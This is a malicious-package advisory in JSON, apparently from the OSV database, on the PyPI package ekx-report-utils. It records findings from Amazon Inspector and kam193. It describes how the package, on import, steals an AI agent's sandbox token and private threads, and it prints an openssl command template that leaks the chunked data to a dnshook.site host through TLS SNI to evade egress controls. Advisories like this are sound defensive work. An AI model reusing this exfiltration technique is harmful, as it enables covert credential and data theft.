ekx-report-utils

{"schema_version":"1.7.4","id":"MAL-2026-14555","published":"2026-08-27T12:59:21Z","modified":"2026-08-28T19:35:57.177027698Z","summary":"Malicious code in ekx-report-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78)\nOn import, the package runs a `_setup()` routine that reads a session credential from `/tmp/.sandbox_token` and issues an authenticated GET to `${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads` using an `x-sandbox-token` header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking `openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief` with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on `from ekx_report_utils import...` with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.\n\n## Source: kam193 (a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6)\nDuring import, the package collects sensitive information and exfiltrates it using DNS queries.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-08-ekx-report-utils\n\n\nReasons (based on the campaign):\n\n\n - targetted-attack\n\n\n - exfiltration-generic\n\n\n - exfiltration-credentials\n","affected":[{"package":{"name":"ekx-report-utils","ecosystem":"PyPI"},"versions":["0.1.0","0.2.0","0.3.0","0.4.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/ekx_report_utils/__init__.py","sha256":"9f34da5779d19b28d899130b52468401f9ca21036352b2cb9cf8a6dc83e9e9a1","tlsh":"07316299c50d1db2d2475abd8d82825267baa80fe7839c703e9c83d62f1d8754b70a4d"}],"package_integrity":[{"filename":"ekx_report_utils-0.1.0-py3-none-any.whl","hashes":{"blake2b_256":"60ea39a2f916edace6148d0be3ce3d49f447f9302ef35d53c8c51ac9bd65aac2","md5":"e18deffe69d4581942d25dff75bc537b","sha256":"68f4e093b8036bb33e3e5c0d0b994d0dc28366469204dfae2bfd3cdd63f7c383"}},{"filename":"ekx_report_utils-0.1.0.tar.gz","hashes":{"blake2b_256":"20d9122d68ba5c494ccd1962dc0ca041d0b3dd923c130743749f25e0311d2c2b","md5":"81b27ad21d8ba8664219c2484b603b42","sha256":"6ba236fd5ab151447beefcfd146669db3466632cbe6ad7f051e058f328e5ee2b"}}]}}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/ekx-report-utils"},{"type":"PACKAGE","url":"https://pypi.org/project/ekx-report-utils/0.1.0/"},{"type":"PACKAGE","url":"https://pypi.org/project/ekx-report-utils/0.3.0/"},{"type":"PACKAGE","url":"https://pypi.org/project/ekx-report-utils/0.2.0/"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-08-ekx-report-utils/ekx-report-utils","import_time":"2026-08-27T13:37:01.768904975Z","modified_time":"2026-08-27T12:59:36.917284Z","sha256":"a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6","source":"kam193","versions":["0.1.0","0.2.0","0.3.0","0.4.0"]},{"id":"IN-MAL-2026-018811","import_time":"2026-08-28T19:33:50.552145312Z","modified_time":"2026-08-28T16:46:20Z","sha256":"a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78","source":"amazon-inspector","versions":["0.1.0"]},{"id":"IN-MAL-2026-018806","import_time":"2026-08-28T19:33:50.345390788Z","modified_time":"2026-08-28T16:45:36Z","sha256":"237bb2921bad56e7f8b9756f2ba4b0ef695e68c8aaa3bab67550e0ae955f23a1","source":"amazon-inspector","versions":["0.3.0"]},{"id":"IN-MAL-2026-018809","import_time":"2026-08-28T19:33:50.480807098Z","modified_time":"2026-08-28T16:45:58Z","sha256":"4610cb1478603a2c8cd558a5f851c5b050edabec234233d37a46076f183b802a","source":"amazon-inspector","versions":["0.2.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}